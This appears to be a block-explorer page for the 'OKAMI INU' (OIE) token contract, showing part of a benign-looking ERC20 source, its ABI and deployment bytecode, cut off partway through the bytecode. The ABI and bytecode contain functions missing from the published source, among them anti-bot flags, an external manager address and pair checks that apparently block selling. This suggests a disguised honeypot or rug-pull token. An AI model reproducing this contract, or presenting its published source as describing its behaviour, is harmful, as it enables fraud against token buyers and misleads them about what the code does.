    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0));
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }  
}

pragma solidity ^0.8.11;

contract Token is ERC20 {

    function approve(
        address spender,
        uint256 amount
    ) public override(ERC20) returns (bool){
        return super.approve(spender, amount);
    }

    function transfer(
        address to, 
        uint256 amount
    ) public override(ERC20) returns (bool) {
        return super.transfer(to, amount);
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public override(ERC20) returns (bool) {
        return super.transferFrom(from, to, amount);
    }

    constructor() 
        ERC20(
            "OKAMI INU ",    // name 
            "OIE",              // symbol
            9,                  // decimal
            1000000       // initial supply without decimal
        )
    {}
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"signer","type":"address"}],"name":"ChangedManager","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"batchTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"setAntiBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"setBotDetected","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Factory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"weth","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405273c065b93f322e3d013768e25a7265dc28635931fc6000553480156200002957600080fd5b506040518060400160405280600a81526020017f4f4b414d4920494e5520000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f4f494500000000000000000000000000000000000000000000000000000000008152506009620f4240620000c4620000b86000546200076e60201b6200110b1760201c565b6200077e60201b60201c565b620000e4620000d8620007e660201b60201c565b620007ee60201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d600260006001815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600260006004815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507310ed43c718714eb63d5aa57b78b54704e256024e600260006038815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739ac64cc6e4415144c455bd8e4837fea55603e5c3600260006061815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507360ae616a2155ee3d9a68541ba4544862310933d46002600061a86a815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600d90805190602001906200030092919062000a40565b5082600e90805190602001906200031992919062000a40565b5081600f60006101000a81548160ff021916908360ff160217905550600082600a62000346919062000c8a565b8262000353919062000cdb565b905062000365620008b460201b60201c565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000413573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000439919062000da6565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200050d919062000da6565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620005ce92919062000de9565b6020604051808303816000875af1158015620005ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000614919062000da6565b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015620006fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000721919062000da6565b73ffffffffffffffffffffffffffffffffffffffff1614600f60016101000a81548160ff021916908315150217905550620007633382620008ef60201b60201c565b505050505062000fa5565b60008160001b60001c9050919050565b60007fb90fe532b37240954353f38fe729360f365263ffb3674bab1d07fe43d92573c060001b90508181557fc88fac1456d5bab0817617b9ef707c5cd4df5450ddf5da5816c584ccd464ac3a82604051620007da919062000e16565b60405180910390a15050565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002600046815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000961576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009589062000e94565b60405180910390fd5b80600c600082825462000975919062000eb6565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620009cd919062000eb6565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a34919062000f24565b60405180910390a35050565b82805462000a4e9062000f70565b90600052602060002090601f01602090048101928262000a72576000855562000abe565b82601f1062000a8d57805160ff191683800117855562000abe565b8280016001018555821562000abe579182015b8281111562000abd57825182559160200191906001019062000aa0565b5b50905062000acd919062000ad1565b5090565b5b8082111562000aec57600081600090555060010162000ad2565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b7e5780860481111562000b565762000b5562000af0565b5b600185161562000b665780820291505b808102905062000b768562000b1f565b945062000b36565b94509492505050565b60008262000b99576001905062000c6c565b8162000ba9576000905062000c6c565b816001811462000bc2576002811462000bcd5762000c03565b600191505062000c6c565b60ff84111562000be25762000be162000af0565b5b8360020a91508482111562000bfc5762000bfb62000af0565b5b5062000c6c565b5060208310610133831016604e8410600b841016171562000c3d5782820a90508381111562000c375762000c3662000af0565b5b62000c6c565b62000c4c848484600162000b2c565b9250905081840481111562000c665762000c6562000af0565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c978262000c73565b915062000ca48362000c7d565b925062000cd37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b87565b905092915050565b600062000ce88262000c73565b915062000cf58362000c73565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d315762000d3062000af0565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d6e8262000d41565b9050919050565b62000d808162000d61565b811462000d8c57600080fd5b50565b60008151905062000da08162000d75565b92915050565b60006020828403121562000dbf5762000dbe62000d3c565b5b600062000dcf8482850162000d8f565b91505092915050565b62000de38162000d61565b82525050565b600060408201905062000e00600083018562000dd8565b62000e0f602083018462000dd8565b9392505050565b600060208201905062000e2d600083018462000dd8565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e7c601f8362000e33565b915062000e898262000e44565b602082019050919050565b6000602082019050818103600083015262000eaf8162000e6d565b9050919050565b600062000ec38262000c73565b915062000ed08362000c73565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f085762000f0762000af0565b5b828201905092915050565b62000f1e8162000c73565b82525050565b600060208201905062000f3b600083018462000f13565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f8957607f821691505b60208210810362000f9f5762000f9e62000f41565b5b50919050565b6130bd8062000fb56000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c806349bd5a5e116100c357806395d89b411161007c57806395d89b4114610393578063a457c2d7146103b1578063a9059cbb146103e1578063c57f8cfb14610411578063dd62ed3e1461042d578063f2fde38b1461045d57610158565b806349bd5a5e146102f557806359d0f7131461031357806370a0823114610331578063715018a6146103615780638129fc1c1461036b5780638da5cb5b1461037557610158565b806323b872dd1161011557806323b872dd14610221578063313ce56714610251578063395093511461026f5780633a03d7931461029f5780633fc8cef3146102bb57806342966c68146102d957610158565b806306fdde031461015d578063095ea7b31461017b578063158ef93e146101ab5780631694505e146101c957806318160ddd146101e7578063206a810f14610205575b600080fd5b610165610479565b60405161017291906122be565b60405180910390f35b61019560048036038101906101909190612379565b61050b565b6040516101a291906123d4565b60405180910390f35b6101b361051f565b6040516101c091906123d4565b60405180910390f35b6101d1610532565b6040516101de919061244e565b60405180910390f35b6101ef610558565b6040516101fc9190612478565b60405180910390f35b61021f600480360381019061021a9190612379565b610562565b005b61023b60048036038101906102369190612493565b610674565b60405161024891906123d4565b60405180910390f35b61025961068a565b6040516102669190612502565b60405180910390f35b61028960048036038101906102849190612379565b6106a1565b60405161029691906123d4565b60405180910390f35b6102b960048036038101906102b49190612549565b61074b565b005b6102c361085d565b6040516102d091906125aa565b60405180910390f35b6102f360048036038101906102ee91906125c5565b610883565b005b6102fd61099b565b60405161030a9190612613565b60405180910390f35b61031b6109c1565b604051610328919061264f565b60405180910390f35b61034b6004803603810190610346919061266a565b6109e7565b6040516103589190612478565b60405180910390f35b610369610a30565b005b610373610b40565b005b61037d610c39565b60405161038a91906126a6565b60405180910390f35b61039b610c63565b6040516103a891906122be565b60405180910390f35b6103cb60048036038101906103c69190612379565b610cf5565b6040516103d891906123d4565b60405180910390f35b6103fb60048036038101906103f69190612379565b610ddf565b60405161040891906123d4565b60405180910390f35b61042b60048036038101906104269190612549565b610df3565b005b610447600480360381019061044291906126c1565b610f05565b6040516104549190612478565b60405180910390f35b6104776004803603810190610472919061266a565b610f8c565b005b6060600d805461048890612730565b80601f01602080910402602001604051908101604052809291908181526020018280546104b490612730565b80156105015780601f106104d657610100808354040283529160200191610501565b820191906000526020600020905b8154815290600101906020018083116104e457829003601f168201915b5050505050905090565b6000610517838361111b565b905092915050565b600160149054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b61056a61113e565b73ffffffffffffffffffffffffffffffffffffffff16610588610c39565b73ffffffffffffffffffffffffffffffffffffffff1614806105e357506105ad61113e565b73ffffffffffffffffffffffffffffffffffffffff166105cb611146565b73ffffffffffffffffffffffffffffffffffffffff16145b8061062757506105f161113e565b73ffffffffffffffffffffffffffffffffffffffff1661060f611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065d906127ad565b60405180910390fd5b61067082826111f6565b5050565b600061068184848461133e565b90509392505050565b6000600f60009054906101000a900460ff16905090565b6000806106ac61113e565b9050610740818585600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461073b91906127fc565b61136d565b600191505092915050565b61075361113e565b73ffffffffffffffffffffffffffffffffffffffff16610771610c39565b73ffffffffffffffffffffffffffffffffffffffff1614806107cc575061079661113e565b73ffffffffffffffffffffffffffffffffffffffff166107b4611146565b73ffffffffffffffffffffffffffffffffffffffff16145b8061081057506107da61113e565b73ffffffffffffffffffffffffffffffffffffffff166107f8611177565b73ffffffffffffffffffffffffffffffffffffffff16145b61084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906127ad565b60405180910390fd5b6108598282611536565b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61088b61113e565b73ffffffffffffffffffffffffffffffffffffffff166108a9610c39565b73ffffffffffffffffffffffffffffffffffffffff16148061090457506108ce61113e565b73ffffffffffffffffffffffffffffffffffffffff166108ec611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80610948575061091261113e565b73ffffffffffffffffffffffffffffffffffffffff16610930611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097e906127ad565b60405180910390fd5b61099861099261113e565b82611591565b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a3861113e565b73ffffffffffffffffffffffffffffffffffffffff16610a56610c39565b73ffffffffffffffffffffffffffffffffffffffff161480610ab15750610a7b61113e565b73ffffffffffffffffffffffffffffffffffffffff16610a99611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80610af55750610abf61113e565b73ffffffffffffffffffffffffffffffffffffffff16610add611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b906127ad565b60405180910390fd5b610b3e6000611767565b565b610b48611146565b73ffffffffffffffffffffffffffffffffffffffff16610b6661113e565b73ffffffffffffffffffffffffffffffffffffffff1614610b8657600080fd5b600160149054906101000a900460ff1615610ba057600080fd5b60018060146101000a81548160ff0219169083151502179055506000610bc4611177565b9050610bf3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611536565b610bfe816001611536565b610c2b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161182d565b610c3681600161182d565b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600e8054610c7290612730565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9e90612730565b8015610ceb5780601f10610cc057610100808354040283529160200191610ceb565b820191906000526020600020905b815481529060010190602001808311610cce57829003601f168201915b5050505050905090565b600080610d0061113e565b90506000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbd906128c4565b60405180910390fd5b610dd3828686840361136d565b60019250505092915050565b6000610deb8383611888565b905092915050565b610dfb61113e565b73ffffffffffffffffffffffffffffffffffffffff16610e19610c39565b73ffffffffffffffffffffffffffffffffffffffff161480610e745750610e3e61113e565b73ffffffffffffffffffffffffffffffffffffffff16610e5c611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80610eb85750610e8261113e565b73ffffffffffffffffffffffffffffffffffffffff16610ea0611177565b73ffffffffffffffffffffffffffffffffffffffff16145b610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee906127ad565b60405180910390fd5b610f01828261182d565b5050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f9461113e565b73ffffffffffffffffffffffffffffffffffffffff16610fb2610c39565b73ffffffffffffffffffffffffffffffffffffffff16148061100d5750610fd761113e565b73ffffffffffffffffffffffffffffffffffffffff16610ff5611146565b73ffffffffffffffffffffffffffffffffffffffff16145b80611051575061101b61113e565b73ffffffffffffffffffffffffffffffffffffffff16611039611177565b73ffffffffffffffffffffffffffffffffffffffff16145b611090576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611087906127ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f690612956565b60405180910390fd5b61110881611767565b50565b60008160001b60001c9050919050565b60008061112661113e565b905061113381858561136d565b600191505092915050565b600033905090565b6000807fb90fe532b37240954353f38fe729360f365263ffb3674bab1d07fe43d92573c060001b9050805491505090565b6000611181611146565b73ffffffffffffffffffffffffffffffffffffffff16636e9960c36040518163ffffffff1660e01b81526004016020604051808303816000875af11580156111cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f1919061298b565b905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c90612a04565b60405180910390fd5b80600c600082825461127791906127fc565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112cd91906127fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113329190612478565b60405180910390a35050565b60008061134961113e565b90506113568582856118ab565b611361858585611937565b60019150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d390612a96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144290612b28565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115299190612478565b60405180910390a3505050565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f790612bba565b60405180910390fd5b61160b826000611bb7565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990612c4c565b60405180910390fd5b818103600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600c60008282546116ea9190612c6c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161174f9190612478565b60405180910390a3611762836000611fa2565b505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008061189361113e565b90506118a0818585611937565b600191505092915050565b60006118b78484610f05565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119315781811015611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a90612cec565b60405180910390fd5b611930848484840361136d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d90612d7e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c90612e10565b60405180910390fd5b611a1f8383611bb7565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d90612ea2565b60405180910390fd5b818103600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b3b91906127fc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b9f9190612478565b60405180910390a3611bb18484611fa2565b50505050565b600160149054906101000a900460ff161580611bd85750611bd6611fa6565b155b15611be757611be5612030565b505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c9357600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c9257600080fd5b5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e6157600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611d6591906126a6565b602060405180830381865afa158015611d82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da69190612ed7565b611dae6120af565b10611e6057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611e5f57600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e5e57600080fd5b5b5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611f0c5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611f9e57600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9490612f50565b60405180910390fd5b5b5050565b5050565b6000611fb0611146565b73ffffffffffffffffffffffffffffffffffffffff166308160197306040518263ffffffff1660e01b8152600401611fe891906126a6565b6020604051808303816000875af1158015612007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202b9190612f85565b905090565b600061203a611146565b73ffffffffffffffffffffffffffffffffffffffff1663893d20e86040518163ffffffff1660e01b81526004016020604051808303816000875af1158015612086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120aa919061298b565b905090565b6000600f60019054906101000a900460ff1615612176576000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015612135573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121599190613034565b50506dffffffffffffffffffffffffffff16905080915050612222565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660